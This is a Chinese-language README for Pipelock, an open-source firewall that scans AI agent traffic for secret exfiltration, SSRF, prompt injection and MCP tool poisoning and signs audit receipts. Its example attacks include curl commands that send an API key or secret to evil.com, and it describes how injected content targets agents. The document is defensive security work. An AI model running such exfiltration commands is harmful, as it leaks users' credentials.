
pipelock v3.4.0
开源AI代理防火墙,扫描HTTP、MCP、A2A和WebSocket流量以检测数据泄露、SSRF和提示注入,并发出可验证的签名操作收据用于审计。
Pipelock
面向 AI Agent 的开源防火墙,实现可验证出站控制。
Pipelock 位于 AI Agent 与网络之间。它检查代理的 HTTP、WebSocket、MCP 和 A2A 流量,以及在启用 TLS 拦截时的 CONNECT 隧道内容,以检测机密泄漏、提示注入、SSRF、工具中毒以及危险的工具调用链。未开启拦截的纯 CONNECT 流量则在主机名和 URL 层面进行扫描。
Pipelock 基于内容感知的边界决策,发出经中介签名的 action receipts,审计者可在 Agent 运行时之外验证 Pipelock 的决策。公开的 agent-egress-bench 语料库用于测试这些检测能力。了解更多:开源 AI 防火墙。
支持工具: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
问题 · 验证 · 快速开始 · 效果演示 · 检测范围 · 功能特性 · 架构 · 文档 · 在线沙箱 · 博客 · 咨询 Dosu
前往在线沙箱试用。如果 Pipelock 对你有帮助,请点亮星标,让更多人发现它。
问题
你的 AI Agent 环境变量中存有 $PROVIDER_API_KEY,同时还具备 Shell 访问权限。一次请求就可能将其泄漏:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
您的代理执行的每次机器操作都应跨越您的机密与开放互联网之间的边界。当代理通过其代理、MCP 包装器、沙箱、主机隔离模型或集群部署拓扑路由时,Pipelock 就成为那道边界。它会扫描中介的出站和入站流量,根据模式阻止或标记攻击,并记录带签名的决策证据。
---
## 自行验证
大多数代理安全工具都要求您信任其仪表板。Pipelock 会交给您一张带签名的收据,让您使用自己持有的密钥离线自行验证。无需账户,无需服务器。
内置演示会触发真实的攻击场景,将其阻止,并将带签名的收据以及公钥写入磁盘,无需配置,无需网络:```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
评分卡对每个主张独立评分,并说明其未能证明的内容:在 Pipelock 所中介的边界之外是否发生过任何事情。在评分卡下方,收据时间线列出了已记录的中介决策及其裁定和哈希链接。一份对其自身限度保持诚实的收据,胜过隐藏这些限度的绿色勾选标记。
证据查看器是免费的,无需许可证:```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
提前说明两个诚实性说明。演示使用一个临时的密钥进行签名,该密钥会在运行时打印出来,这样证明了收据是自洽的,而不是绑定到某个指定的身份。公开的 Pipelock 游乐场是一个独立的路径,它根据 Pipelock 发布的密钥进行验证。而运行 Pipelock 的操作者持有签名密钥,因此收据证明了边界所决定的内容以及密钥持有者对其签名,但并不证明操作者是诚实的。`pipelock anchor receipts` 将收据链的检查点记录到本地后端或 Rekor 透明度日志中,供后续审计使用,而针对该锚点的独立于操作者的验证仍在端到端的验证过程中。
关于为什么证明优于承诺的完整论证请参见[演示优于证明](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md)。
---
## 快速开始```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
其他安装方法
```bash # Download a binary # See https://github.com/luckyPipewrench/pipelock/releasesDocker
docker pull ghcr.io/luckypipewrench/pipelock:latest
Homebrew on macOS
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>验证发布完整性</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
发布工作流会发布 SLSA 来源、CycloneDX SBOM、校验和以及已签名的容器镜像。使用 go install 构建的源代码生成仅限社区版的二进制文件;预构建的发布工件包括付费层代码,需通过有效许可证密钥激活。
实际操作演示
Pro/Enterprise 操作员仪表板(pipelock dashboard serve)是一个基于已签名证据的只读控制台。它支持令牌、OIDC 或 mTLS 认证;受限制的 RBAC 权限;打码的元数据视图;原始视图提升;豁免生命周期记录;备份和恢复;覆盖证书;以及舰队视图。它存在于企业标记的构建和发布工件中,需要相应的许可证功能。
上面显示的免费单会话证据查看器是独立的。它不需要许可证,也没有跨代理枚举功能。
仪表板图库
免费报告与监控
pipelock report --input events.jsonl 生成 HTML、JSON 或已签名捆绑报告,包含风险评级、时间线、事件类别以及证据附录。免费的 Prometheus 和 Grafana 路径监控单个 Pipelock 实例,与企业版 Conductor 舰队控制平面不同。
它能捕获什么
基于公开、可重复的基准进行衡量
agent-egress-bench 针对 Pipelock 或其他任何工具运行一个代理数据外泄和提示注入攻击的语料库。这些数字来自任何人都可重复的运行结果,而非单方面声称。
Pipelock 以三种模式运行:
| 模式 | 安全性 | 网页浏览 | 使用场景 |
|---|---|---|---|
| strict | 仅允许列表 | 无 | 受监管行业,高安全性 |
| balanced | 阻止基本攻击 + 检测复杂攻击 | 通过 fetch 或转发代理 | 大多数开发者(默认) |
| audit | 仅记录 | 无限制 | 评估后实施强制策略 |
对于运行未经审查或经过“去约束”(abliterated)模型的代理,hostile-model 预设 在严格模式基础上叠加了多层防御:激进的熵阈值、全面网络工具拦截、会话绑定、跨请求数据外泄检测以及预配置的紧急关闭开关。当 pipelock audit 通过依赖信号检测到已知的护栏移除工具链时,它会推荐此预设。
| 攻击向量 | Strict | Balanced | Audit |
|---|---|---|---|
curl evil.com -d $SECRET | 已阻止 | 已阻止 | 已记录 |
| URL 查询参数中的密钥 | 已阻止 | 已检测(由 DLP 检测) | 已记录 |
| URL 中经 Base64 编码的密钥 | 已阻止 | 已检测(通过熵和解码后的 DLP) | 已记录 |
| DNS 隧道 | 已阻止 | 已检测(通过子域名熵) | 已记录 |
| 分块数据外泄 | 已阻止 | 已检测(通过速率、预算和分片检查) | 已记录 |
| URL 中经公钥加密的 blob | 已阻止 | 当熵标记时记录 | 已记录 |
诚实评估: 严格模式会阻止通过 Pipelock 的出站 HTTP(除允许列表中的 API 域名外),因此代理本身不存在数据外泄通道。平衡模式将标准从“一条 curl 命令”提高到“精心策划的预攻击”。审计模式则提供你目前不具备的可视性。在启用沙箱(
pipelock sandbox)或强制执行主机/集群隔离拓扑时,Pipelock 在内容检查之上增加了一个操作系统或部署边界。对于忽略代理设置的非协作工具,直接出站仍必须由该边界来阻止。
对比
| Pipelock | 扫描器(agent-scan) | 沙箱(srt) | 内核代理(agentsh) | |
|---|---|---|---|---|
| 密钥外泄防护 | 严格模式下阻止;平衡模式下检测 | 部分(代理模式) | 部分(域名级别) | 是 |
| DLP + 熵分析 | 是 | 否 | 否 | 部分 |
| 提示注入检测 | 是 | 是 | 否 | 否 |
| MCP 扫描(双向 + 工具投毒) | 是 | 是 | 否 | 否 |
| WebSocket 代理(帧扫描) | 是 | 否 | 否 | 否 |
| MCP HTTP 传输(Streamable HTTP) | 是 | 否 | 否 | 否 |
| 紧急关闭开关(6 个来源) | 是 | 否 | 否 | 否 |
| 工具调用链检测 | 是 | 否 | 否 | 否 |
| 进程沙箱(无需 Docker) | 是 | 否 | 否 | 是(内核级别) |
| 单个二进制文件,零依赖 | 是 | 否(Python) | 否(npm) | 否(内核) |
参考矩阵:docs/comparison.md
官方对比中心:AI 运行时安全对比
OWASP Agentic Top 10 覆盖率
| 威胁 | 覆盖情况 |
|---|---|
| ASI01 代理目标劫持 | 强: 双向 MCP + 响应扫描 |
| ASI02 工具滥用 | 部分: 代理作为受控工具,MCP 扫描 |
| ASI03 身份与权限滥用 | 强: 能力分离 + SSRF 保护 |
| ASI04 供应链漏洞 | 部分: 完整性监控 + MCP 扫描 |
| ASI05 意外代码执行 | 中等: 人工确认审批,默认失败关闭 |
| ASI06 内存与上下文投毒 | 中等: 注入检测 + 会话污染传播 |
| ASI07 不安全的代理间通信 | 部分: MCP/A2A 扫描,代理 ID,完整性,签名 |
| ASI08 级联故障 | 中等: 失败关闭架构,速率限制 |
| ASI09 人类-代理信任利用 | 部分: 人工确认模式,审计日志 |
| ASI10 恶意代理 | 强: 域名允许列表 + 速率限制 + 能力分离 |
详细信息、配置示例及差距分析:docs/owasp-mapping.md
它能做什么
Pipelock 是一个 AI 出口代理 和 MCP 安全控制。它内联于你的 AI 代理和网络之间,扫描出站和入站流量,并发出已签名收据及中介元数据,用于代理运行时之外的证明。AARP/SVID 工作负载身份评估目前在验证方侧完成:代理和 MCP 运行时在实时允许/拒绝决策中不消费 SVID 证据,也不从 X.509-SVID 绑定收据行为者身份。
检测与扫描
- 有序 URL 扫描器流水线: URL 长度和解析检查、方案验证、CRLF 和路径遍历检测、允许列表和阻止列表策略、不可变的文字 IP SSRF 和核心 DLP 基础规则、配置的 DLP、路径和子域名熵分析、DNS SSRF 和重新绑定保护、每域名速率限制、数据预算以及最终上下文检查。DLP 在 DNS 解析前运行,因此密钥在 DNS 查询离开代理前即被捕获。参见 docs/bypass-resistance.md。
- DLP: 65 个内置模式,用于 API 密钥、令牌、凭据、加密货币密钥、环境密钥和金融标识符,并包含校验和验证。BIP-39 种子短语检测使用字典查找、滑动窗口和 SHA-256 校验和验证。
- 响应扫描: 32 个内置的提示注入和状态/控制投毒模式,以及 6 遍归一化处理,用于零宽字符、同形异义词、leet 语、可选空白、元音折叠、Base64 和十六进制。操作为
block、strip、warn或ask。 - 流式 SSE: 来自 LLM 网关和 MCP HTTP/SSE 流的
text/event-stream响应逐令牌处理,并执行按事件和滚动跨事件的 DLP 和注入扫描。一旦检测到,流将失败关闭。参见 SSE 流式指南。 - 请求体扫描: 在受保护路径中,头部和体在离开前被扫描,覆盖 JSON、表单数据、原始文本、反向代理请求、TLS 拦截的 CONNECT 流量以及出站 WebSocket 客户端帧。
- 请求打码: 可选的 JSON 重写将匹配的密钥值替换为类型化占位符,如
<pl:aws-access-key:1>,覆盖 HTTP、WebSocket 和 MCPtools/call参数。收据记录有效配置文件和每类计数,而非明文密钥。 - 地址保护: ETH、BTC、SOL 和 BNB 地址验证通过前缀/后缀指纹验证和操作员允许列表检测相似目的地址的替换。
- 可解释的发现结果:
pipelock explain <url>(同样explain event <id>和explain mcp)打印扫描器、层、匹配规则、检查表面以及针对误报的最窄可用配置旋钮。参见docs/cli/explain.md。 - 蜜罐令牌:
pipelock canary生成蜜罐令牌配置。一个合成密钥出现在出站流量中,证明某个代理或其链中的某个环节正在外泄环境变量。参见 蜜罐令牌。 - 技能文件扫描:
pipelock skill-scan盘点代理技能文件,将其与操作员拥有的锁文件进行比较,并标记源到接收器的组合,例如凭据到网络接收器或 shell 到写入,并附带行证据,在实际运行之前完成。参见docs/cli/skill-scan.md。
MCP 安全性
Pipelock 通过双向扫描封装 MCP 服务器:```bash
Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp
Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **输入扫描:** 检查 MCP 客户端请求是否存在 DLP 泄露和工具参数注入。
- **响应扫描:** 在代理看到服务器响应之前对其进行扫描。
- **工具投毒:** 检查 `tools/list` 描述中是否包含隐藏指令和会话中途的撤梯子式变更。
- **工具策略:** 17 条内置规则在执行前阻止破坏性文件删除、凭据访问、反弹 shell、持久化机制、编码命令执行及相关高风险工具调用。
- **工具调用链:** 10 种内置分类-轴模式可检测侦察、凭据窃取、数据暂存、持久化、数据外泄及回调链条,并支持可配置的间隔容忍度。
- **A2A 检测:** 对正向路径和 MCP 路径上的 Google 代理间协议流量进行检查;Pipelock 并非独立的 A2A 代理。
- **经过身份验证的 MCP HTTP 监听器 (v3.2.0):** 非环回 MCP 监听器默认以失败关闭模式运行,并需要 `--mcp-auth-token-file`,或者针对网络策略隔离的部署使用显式的 `--mcp-allow-unauthenticated`。无令牌的环回监听器会拒绝 DNS 反弹和错误端口的 Host 权威机构,并从标头中剥离监听器凭证。
### 隔离
非特权进程隔离使用操作系统原生原语。Linux 使用 Landlock、seccomp 和网络命名空间。macOS 使用 `sandbox-exec` 配置文件。在容器中,当命名空间创建受限时,`--best-effort` 会保留 Landlock 和 seccomp,而网络扫描则使用基于代理的路由。```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
主机隔离在Linux上更进一步:```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` 管理一个 3-UID 操作器/代理/模型,通过 nftables 所有者匹配路由、systemd 服务设置、包装命令、工作区 ACL、CA 刷新和姿态证据。参见 [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md)。
### 证据与收据
- **飞行记录器:** 哈希链式 JSONL 证据日志,带有 Ed25519 签名检查点和 DLP 编辑。`pipelock init` 为标准安装配置记录器目录和签名密钥,记录器在有目录和密钥之前保持非活跃状态。参见 [飞行记录器](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md)。
- **操作收据:** 为中介操作发出的签名记录,包含裁定、策略哈希、传输和扫描器层。块产生收据;允许路径收据强制执行要求 `flight_recorder.require_receipts`。使用 `pipelock verify-receipt --key <signer.pub>` 验证。未钉住(unpinned)的运行仅为结构性的,除非传递 `--allow-unpinned`,否则退出码非零。
- **中介信封:** 在转发的 HTTP 请求和 MCP `_meta` 上的 RFC 8941 旁带元数据,包含操作类型、裁定、行为者身份、策略哈希、污染上下文和收据关联 ID。参见 [联盟指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)。
- **收据合规性:** 四种独立的跨语言验证器实现(Go, TypeScript, Rust 和 Python)针对一个共享的 [合规语料库](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/) 运行,包括畸形和可伪造的输入,如重复键、整数溢出和未成对代理项。浏览器 wasm 表面重用 Go 验证器实现。AARP/SVID 评估仍然是离线验证器配置文件,不是运行时身份强制。
- **锚点:** `pipelock anchor receipts` 将收据链检查点记录到本地后端或 Rekor。Rekor 锚点是后续审计的证明材料;Rekor 验证需要钉住的日志密钥,端到端操作器独立性路径仍在验证中。
- **姿态胶囊:** `pipelock posture emit` 和 `pipelock posture verify` 生成并检查部署强制姿态的签名快照,带有 CI 门控和评分模型,以便审查者确认边界按声称的方式配置。
### 车队与企业
- **操作器仪表盘:** `pipelock dashboard serve` 是基于签名证据的只读控制台。Pro 解锁概述、证据、豁免、代理、预算和信任与密钥视图;Enterprise 添加车队、工作台和事件视图。参见 [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md)。
- **免费证据查看器:** `pipelock evidence serve` 和 `pipelock evidence view` 渲染一个选定的记录器会话,无需许可证或跨代理枚举。`pipelock evidence verify-cert` 离线验证 Pro 签发的覆盖证书。
- **Conductor:** Enterprise 车队控制平面,用于签名策略包分发、签名证据接收(`pipelock fleet-sink`)、注册、远程终止、回滚、试运行、决策回放,以及通过 mTLS/SPIFFE 的运行时/应用状态漂移预检。追随者在本地强制执行;默认过期策略模式在其宽限窗口后启用一个独立的拒绝源,而记录的 `continue_last_known_good` 覆盖会削弱该姿态。Conductor 不持有代理密钥。参见 [Conductor 指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md)。
- **法律保留:** `pipelock dashboard legal-hold add/list/release` 管理作为合规元数据的保留保留,该元数据保持在仪表盘的 HTTP 权限外部,因此受损的仪表盘可以读取保留但无法伪造或删除。
- **行为基线:** 为 MCP 工具行为进行配置文件-然后-锁定,使用 `pipelock baseline list/show/ratify/forget` 进行操作员批准和重新学习。参见 [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md)。
### 可操作性
- **终止开关:** 六个独立的激活源:配置文件、远程 API、SIGUSR1、哨兵文件、Conductor 远程终止和过期捆绑检测。任何活动源都会阻止流量,在控制器中具有端点和 IP 豁免。
- **扫描 API:** 使用 Bearer 令牌认证、每个令牌速率限制、结构化发现和 Prometheus 指标,对 `url`、`dlp`、`prompt_injection` 和 `tool_call` 裁定进行程序化扫描。参见 [docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md)。
- **文件系统哨兵:** 监视代理工作目录中写入磁盘的密钥,并将写入归因于 Linux 上的 MCP 子进程谱系。参见 [docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md)。
- **事件发射:** 将审计事件转发到 SIEM、Webhook 接收器、syslog、CEF、OTLP 和指标输出,而不阻塞代理热路径。参见 [docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md)。
- **安全评估:** `pipelock assess init`、`pipelock assess run` 和 `pipelock assess finalize` 将攻击模拟、配置评分、安装验证和 MCP 发现编排成一个可重现的证据包。关键暴露(如未受保护的 MCP 服务器)无论数字分数如何都会限制等级。免费摘要显示您的等级、部分分数和主要发现;许可证解锁完整报告,包含服务器特定发现、修复命令和 Ed25519 签名证据。
<details>
<summary>更多功能</summary>
| 功能 | 作用 |
|---------|-------------|
| **审计报告** | `pipelock report --input events.jsonl` 生成 HTML/JSON/捆绑报告,包含风险评级、时间线和证据附录。使用 `--sign` 进行 Ed25519 签名。([示例报告](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **诊断** | `pipelock diagnose` 运行 7 个本地检查,以端到端验证您的配置,无需网络。 |
| **强制医生** (v2.5) | `pipelock doctor` 报告针对代理、TLS 拦截、请求体扫描、浏览器防护、MCP 包装、MCP 二进制完整性、工具来源、file_sentry、Sentry 和部署边界信号的配置与可强制状态。 |
| **请求体注入阻止** (v2.5) | 在强制模式下,请求体提示注入和关键 DLP 发现会在前向、反向、TLS 拦截和 WebSocket 传输上对非提供商目的地进行硬阻止,并带有阻止原因头以供操作员可见的诊断。 |
| **请求策略** (v2.6) | 默认允许/拒绝警报轨道对出站 API 操作:匹配路由加上 GraphQL 操作谓词,递归进入 JSON `$batch` 信封,在无法解析或不透明主体上关闭失败,并在合约门之前运行。参见 [请求策略指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md)。 |
| **TLS 拦截** | 可选的 CONNECT 隧道 MITM:解密、扫描主体/头/响应、重新加密。`pipelock tls init` 生成 CA,然后 `pipelock tls install-ca` 打印平台信任存储安装步骤。 |
| **阻止提示** | 可选的 `explain_blocks: true` 在被阻止的响应中添加修复建议。 |
| **项目审计** | `pipelock audit ./project` 扫描安全风险并生成定制的配置。 |
| **配置评分** (v2.6) | `pipelock audit score --config pipelock.yaml` 评估 23 个类别的安全姿态,预算 170 分,给出字母等级。 |
| **文件完整性** | SHA256 清单检测工作区文件的修改、添加或删除。 |
| **Git 保护** | `git diff \| pipelock git scan-diff` 在提交前捕获秘密。 |
| **Ed25519 签名** | 密钥管理、文件签名和签名验证,用于多代理信任。 |
| **会话分析** | 基于每个会话的领域突发和流量峰值的行为分析。 |
| **自适应强制** | 每个会话的威胁分数,从警告升级到阻止,降级计时器和领域突发检测。 |
| **自适应操作器 CLI** (v2.5) | `pipelock adaptive status / flush / whoami` 通过认证的管理 API 暴露运行时自适应状态。参见 [`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md)。 |
| **发现抑制** | 通过配置规则或内联 `pipelock:ignore` 注释静默已知误报。 |
| **多代理支持** | 通过 `X-Pipelock-Agent` 头进行代理识别,用于按代理过滤。 |
| **车队监控** | 每个实例的 Prometheus 指标以及可导入的 [Grafana 仪表盘](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json)。免费单实例监控,与 Conductor 不同。 |
| **操作器仪表盘** (v3.1,Pro/Enterprise) | `pipelock dashboard serve` 提供只读的概述、证据、豁免、代理、预算、信任与密钥、车队、工作台和事件视图,支持令牌、OIDC 或 mTLS 认证、有限 RBAC、原始视图提升、备份/恢复、豁免生命周期记录和覆盖证书。参见 [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md)。 |
| **免费证据查看器** (v3.1) | `pipelock evidence serve` 无需许可证即可提供选定记录器会话的只读 HTML 报告,且不跨代理枚举。`pipelock evidence verify-cert` 离线验证 Pro 签发的覆盖证书。 |
| **Conductor:车队控制平面** (v2.7,Enterprise) | 签名策略包分发、签名证据审计接收(`pipelock fleet-sink`)、注册、远程终止、策略回滚、试运行、决策回放,以及通过 mTLS/SPIFFE 的运行时/应用状态漂移预检。由 `fleet` 许可证功能门控;过期策略行为明确且默认为严格拒绝。参见 [Conductor 指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md)。 |
| **A2A 扫描** | 代理卡中毒检测、卡漂移监控和会话走私预防,用于 Google 的代理到代理协议,在前向/MCP 路径上。 |
| **行为基线** | 为 MCP 工具行为进行配置文件-然后-锁定,使用 `pipelock baseline list/show/ratify/forget` 进行操作员批准和重新学习。参见 [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md)。 |
| **拒绝服务(钱包)** | 每个代理的 MCP 预算,包括总工具调用、相同工具重试、循环/周期检测和墙上时钟持续时间。 |
| **污染升级** | 基于暴露的策略升级,跨越 MCP 和任务边界,直到信任恢复。 |
| **中介信封** | RFC 8941 旁带元数据,在转发的 HTTP 请求和 MCP `_meta` 上,包含入站验证、重放保护、SPIFFE 行为者格式和 RFC 9421 签名密钥目录。参见 [联盟指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)。 |
| **收据合规性** | 跨实现的收据验证套件(`sdk/conformance/`),涵盖独立的 Go、TypeScript、Rust 和 Python 实现,以及由 Go 支持的浏览器 wasm 表面。`EvidenceReceipt v2` 使用 RFC 8785/JCS 规范化。AARP/SVID 评估仍然是离线验证器端。 |
| **学习-并-锁定** (v2.4) | 每个代理行为合约:观察流量、编译签名的候选合约、在影子模式下重放捕获的观察、按规则批准、提升签名活动清单,并在 URL 承载传输和 MCP 工具调用上强制实施。参见 [学习-并-锁定指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md)。 |
| **阻止原因头** (v2.4) | `X-Pipelock-Block-Reason` 在支持 HTTP 的阻止路径上,并在 MCP JSON-RPC 错误元数据上使用相同的理由词汇。参见 [阻止原因头指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md)。 |
| **楔子检测看门狗** (v2.4) | `health_watchdog` 在子系统心跳过时时返回 `/health` 503。参见 [健康端点指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md)。 |
| **编辑提供者插件形状** (v2.4) | 第一方编辑解析器,用于 Anthropic、OpenAI 和 Gemini 聊天 API,并带有第三方解析器的提供者插件形状。 |
| **审计包 v0 模式 + 验证器** (v2.5) | 第一方规范审计包模式,包含 Go、TypeScript 和 Rust 验证器实现,以及独立的 [`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/) CLI。模式位于 [`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/);验证器包位于 [`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/)。 |
| **主机隔离生命周期** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` 管理 3-UID 隔离模型。参见 [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md)。 |
| **MCP 完整性清单** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature` 通过哈希固定 MCP 服务器二进制文件/脚本,并可以在子进程启动前要求受信任的清单签名。参见 [`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md)。 |
| **Kubernetes MCP 启动器合约** (v2.5) | `pipelock init sidecar --mcp-upstream` 发出伴生监听器配置、服务端口、工作负载注释、NetworkPolicy 允许、`PIPELOCK_MCP_PROXY_URL` 和挂载的 `PIPELOCK_MCP_CONFIG`。参见 [`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md)。 |
| **联盟严格模式** (v2.5) | 入站中介信封验证默认要求 SPIFFE 格式的行为者,强制执行合约墓碑,`pipelock envelope trust add/list/remove/verify` 管理本地信任。参见 [联盟指南](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)。 |
| **媒体策略** | 从 JPEG/PNG 中剥离隐写元数据,默认拒绝音频/视频,强化 SVG 活动内容,并强制执行图像大小限制。参见 [媒体策略](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md)。 |
| **合规映射** | OWASP MCP 十大、OWASP 代理十五大、OWASP LLM 十大、NIST 800-53、欧盟 AI 法案,以及采购/审计映射。 |
</details>
---
## 免费版、Pro 版和 Enterprise 版
所有检测、强制、隔离和单代理证据在 Apache 2.0 许可下永久免费。付费层增加多代理协调(Pro)以及车队治理和合规(Enterprise)。
| 能力 | 免费版 | Pro 版 | Enterprise 版 |
|---|:--:|:--:|:--:|
| 扫描与检测(有序 URL 管道、DLP、注入、SSRF、流式 SSE、编辑、地址保护) | 是 | 是 | 是 |
| MCP 和 A2A 扫描(输入、响应、工具策略、工具链、中毒、完整性、认证监听器) | 是 | 是 | 是 |
| 隔离、沙箱、主机 `contain`、六源终止开关 | 是 | 是 | 是 |
| 操作收据、飞行记录器、锚点、免费证据查看器、`verify-cert`、独立验证器 | 是 | 是 | 是 |
| 金丝雀令牌、技能扫描、`explain`、单实例 Prometheus 和 Grafana | 是 | 是 | 是 |
| 每个代理配置文件:身份、预算、配置和扫描器隔离、每个代理沙箱 | 否 | 是 | 是 |
| 按源 CIDR 和网络选择器的每个代理路由 | 否 | 是 | 是 |
| 操作器仪表盘:概述、证据、豁免、代理、预算、信任与密钥 | 否 | 是 | 是 |
| 每个代理覆盖证书 | 否 | 是 | 是 |
| 法律保留和合规元数据 | 否 | 是 | 是 |
| Conductor 车队控制平面、`fleet-sink` 审计接收、远程终止、回滚、决策回放、漂移预检 | 否 | 否 | 是 |
| mTLS 追随者注册和由名册验证的签名策略分发 | 否 | 否 | 是 |
| 仪表盘车队视图:车队、工作台、事件 | 否 | 否 | 是 |
签名的 `pipelock assess` 报告是一个单独的 `assess` 权益,独立于 Pro 和 Enterprise。免费版 assess 等级不变。
---
## 工作原理
Pipelock 使用**能力分离**:在强制部署中,代理进程持有密钥但没有直接网络访问。Pipelock 有网络访问但没有代理密钥。即使代理被提示注入,也无法到达防火墙的控制。
三种 HTTP 代理模式(同一端口),外加专用的 MCP 代理和 A2A 检查,位于前向和 MCP 路径上:
- **获取代理** (`/fetch?url=...`):获取 URL,提取文本,扫描注入,返回干净内容。
- **前向代理** (`HTTPS_PROXY`):标准 HTTP CONNECT 隧道,无需修改应用程序代码。仍需要代理配置。可选的 TLS 拦截启用负载扫描。
- **WebSocket 代理** (`/ws?url=ws://...`):双向帧扫描,包含 DLP + 注入检测。
- **MCP 代理** (`pipelock mcp proxy`):包装 stdio 或 HTTP MCP 服务器,进行双向扫描。
- **A2A 检查**:检查 Google 代理到代理协议流量,当它跨越前向和 MCP 路径时。

<details>
<summary>文本图(适用于终端)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
配置
从内置预设生成配置,或让 pipelock audit 为你的项目定制一个:```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| CLI Preset | Mode | Action | Best For |
|------------|------|--------|----------|
| `balanced` | balanced | warn | 通用用途(默认) |
| `strict` | strict | block | 高安全性、受监管行业 |
| `audit` | audit | warn | 仅日志评估 |
| `claude-code` | balanced | block | Claude Code 无人值守 |
| `cursor` | balanced | block | Cursor IDE |
| `generic-agent` | balanced | warn | 调优期间的新代理 |
| `hostile-model` | strict | block | Uncensored/abliterated models |
配置更改通过文件监视器或 SIGHUP 自动拾取。完整参考:**[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)**
针对误报调优:**[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## 集成指南
